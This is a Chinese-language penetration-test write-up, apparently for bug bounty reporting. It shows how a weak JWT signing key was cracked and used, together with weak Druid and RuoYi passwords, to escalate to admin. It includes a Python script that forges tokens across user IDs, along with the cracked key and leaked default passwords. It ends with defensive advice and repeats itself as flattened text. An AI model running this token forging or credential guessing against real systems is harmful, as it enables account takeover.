一次Jwt伪造漏洞实战案例分析
字数 1344 2025-08-20 18:17:07

JWT伪造漏洞与弱口令综合实战分析

1. 漏洞概述

本次实战案例中发现了两个主要安全漏洞:

  1. JWT弱密钥漏洞:系统使用弱密钥生成JWT令牌,攻击者可伪造任意用户令牌
  2. Druid弱口令漏洞:管理系统存在默认/弱口令,可获取敏感信息

这两个漏洞组合可导致完整的系统沦陷,从普通用户权限提升至管理员权限。

2. JWT基础知识

2.1 JWT结构

JWT(JSON Web Token)由三部分组成:

  • Header:包含算法类型和token类型
  • Payload:包含用户声明数据
  • Signature:用于验证token完整性的签名

2.2 漏洞原理

当系统使用弱密钥生成JWT签名时,攻击者可以:

  1. 获取有效JWT样本
  2. 破解或猜测签名密钥
  3. 伪造任意用户的JWT令牌
  4. 使用伪造令牌获取未授权访问

3. 漏洞挖掘过程

3.1 目标发现

  • 通过微信小程序作为入口点
  • 选择"我的-微信登录"功能触发JWT生成

3.2 JWT收集与分析

  1. 抓取登录过程中的网络请求
  2. 识别响应中的JWT令牌
  3. 使用工具解码JWT获取结构信息

示例JWT解码:

Header:
{
  "alg": "HS512",
  "typ": "JWT"
}

Payload:
{
  "user_id": 123,
  "user_key": "1b00d587-528d-4a01-9464-49c2dcf2cebf",
  "dept_id": null,
  "tenant-id": 1001,
  "username": "测试用户_8650"
}

3.3 JWT密钥爆破

  1. 使用jwt-cracker等工具爆破密钥
  2. 发现系统使用弱密钥:abcdefghijklmnopqrstuvwxyz
  3. 验证密钥有效性

Python验证脚本示例:

import jwt
import base64

def verify_jwt(token, key):
    try:
        decoded = jwt.decode(token, key, algorithms=['HS512'])
        return True
    except:
        return False

3.4 用户枚举攻击

  1. 发现payload中包含user_id字段
  2. 编写脚本遍历所有可能的user_id

Python攻击脚本:

import jwt
import requests
import base64

key = "abcdefghijklmnopqrstuvwxyz"
secret = base64.b64decode(key[:len(key) - (len(key) % 4)])

for user_id in range(1, 4104):
    payload = {
        "user_id": user_id,
        "user_key": "dummy-key",  # 需要从有效JWT获取
        "tenant-id": 1001
    }
    forged_jwt = jwt.encode(payload, key, algorithm="HS512")
    
    headers = {
        "Authorization": forged_jwt,
        "source-client": "miniapp"
    }
    
    response = requests.get("https://target.com/system/api/getUserInfo", headers=headers)
    if response.status_code == 200:
        print(f"Valid user found: {user_id}")
        print(response.json())

3.5 任意用户登录

  1. 清空小程序缓存重新登录
  2. 拦截登录响应
  3. 替换响应中的JWT为伪造令牌
  4. 成功以目标用户身份登录

4. Druid弱口令漏洞

4.1 后台发现

  1. 目录爆破发现/system/druid/login.html
  2. 注意请求需携带有效JWT

4.2 弱口令登录

使用常见弱口令组合:

  • admin/admin
  • admin/123456
  • root/root

成功使用admin/123456登录后台

5. 系统横向移动

5.1 发现若依系统

  1. 在8081端口发现若依框架
  2. 使用已获取的JWT访问API

5.2 获取初始化密码

访问接口获取系统初始化密码:

GET /prod-api/system/config/2 HTTP/1.1
Host: target:8081
Authorization: [valid_jwt]

响应中包含默认密码:Eedssrcpt2024!

5.3 后台登录

  1. 枚举获取的用户名列表
  2. 使用默认密码登录后台
  3. 获取管理员权限

6. 防御措施

6.1 JWT安全最佳实践

  1. 使用强密钥(至少256位随机字符串)
  2. 定期轮换密钥
  3. 设置合理的令牌过期时间
  4. 避免在JWT中存储敏感信息
  5. 使用非对称加密算法(如RS256)

6.2 后台安全加固

  1. 修改所有默认密码
  2. 实施强密码策略
  3. 启用多因素认证
  4. 限制管理后台访问IP
  5. 监控异常登录行为

6.3 系统监控

  1. 实施JWT吊销机制
  2. 记录和分析JWT使用情况
  3. 监控异常API调用

7. 漏洞报告要点

向SRC提交此类漏洞时需包含:

  1. 漏洞详细复现步骤
  2. 漏洞危害证明(如获取的管理员权限截图)
  3. 漏洞原理分析
  4. 修复建议
  5. 相关时间戳和证据

8. 总结

本案例展示了如何通过组合漏洞从普通用户提升至系统管理员权限:

  1. 利用JWT弱密钥伪造高权限令牌
  2. 通过弱口令进入管理后台
  3. 利用信息泄露获取更多系统访问权限

这种攻击链在现实中十分常见,强调了纵深防御的重要性。

JWT伪造漏洞与弱口令综合实战分析 1. 漏洞概述 本次实战案例中发现了两个主要安全漏洞: JWT弱密钥漏洞 :系统使用弱密钥生成JWT令牌,攻击者可伪造任意用户令牌 Druid弱口令漏洞 :管理系统存在默认/弱口令,可获取敏感信息 这两个漏洞组合可导致完整的系统沦陷,从普通用户权限提升至管理员权限。 2. JWT基础知识 2.1 JWT结构 JWT(JSON Web Token)由三部分组成: Header:包含算法类型和token类型 Payload:包含用户声明数据 Signature:用于验证token完整性的签名 2.2 漏洞原理 当系统使用弱密钥生成JWT签名时,攻击者可以: 获取有效JWT样本 破解或猜测签名密钥 伪造任意用户的JWT令牌 使用伪造令牌获取未授权访问 3. 漏洞挖掘过程 3.1 目标发现 通过微信小程序作为入口点 选择"我的-微信登录"功能触发JWT生成 3.2 JWT收集与分析 抓取登录过程中的网络请求 识别响应中的JWT令牌 使用工具解码JWT获取结构信息 示例JWT解码: 3.3 JWT密钥爆破 使用 jwt-cracker 等工具爆破密钥 发现系统使用弱密钥: abcdefghijklmnopqrstuvwxyz 验证密钥有效性 Python验证脚本示例: 3.4 用户枚举攻击 发现payload中包含 user_id 字段 编写脚本遍历所有可能的user_ id Python攻击脚本: 3.5 任意用户登录 清空小程序缓存重新登录 拦截登录响应 替换响应中的JWT为伪造令牌 成功以目标用户身份登录 4. Druid弱口令漏洞 4.1 后台发现 目录爆破发现 /system/druid/login.html 注意请求需携带有效JWT 4.2 弱口令登录 使用常见弱口令组合: admin/admin admin/123456 root/root 成功使用 admin/123456 登录后台 5. 系统横向移动 5.1 发现若依系统 在8081端口发现若依框架 使用已获取的JWT访问API 5.2 获取初始化密码 访问接口获取系统初始化密码: 响应中包含默认密码: Eedssrcpt2024! 5.3 后台登录 枚举获取的用户名列表 使用默认密码登录后台 获取管理员权限 6. 防御措施 6.1 JWT安全最佳实践 使用强密钥(至少256位随机字符串) 定期轮换密钥 设置合理的令牌过期时间 避免在JWT中存储敏感信息 使用非对称加密算法(如RS256) 6.2 后台安全加固 修改所有默认密码 实施强密码策略 启用多因素认证 限制管理后台访问IP 监控异常登录行为 6.3 系统监控 实施JWT吊销机制 记录和分析JWT使用情况 监控异常API调用 7. 漏洞报告要点 向SRC提交此类漏洞时需包含: 漏洞详细复现步骤 漏洞危害证明(如获取的管理员权限截图) 漏洞原理分析 修复建议 相关时间戳和证据 8. 总结 本案例展示了如何通过组合漏洞从普通用户提升至系统管理员权限: 利用JWT弱密钥伪造高权限令牌 通过弱口令进入管理后台 利用信息泄露获取更多系统访问权限 这种攻击链在现实中十分常见,强调了纵深防御的重要性。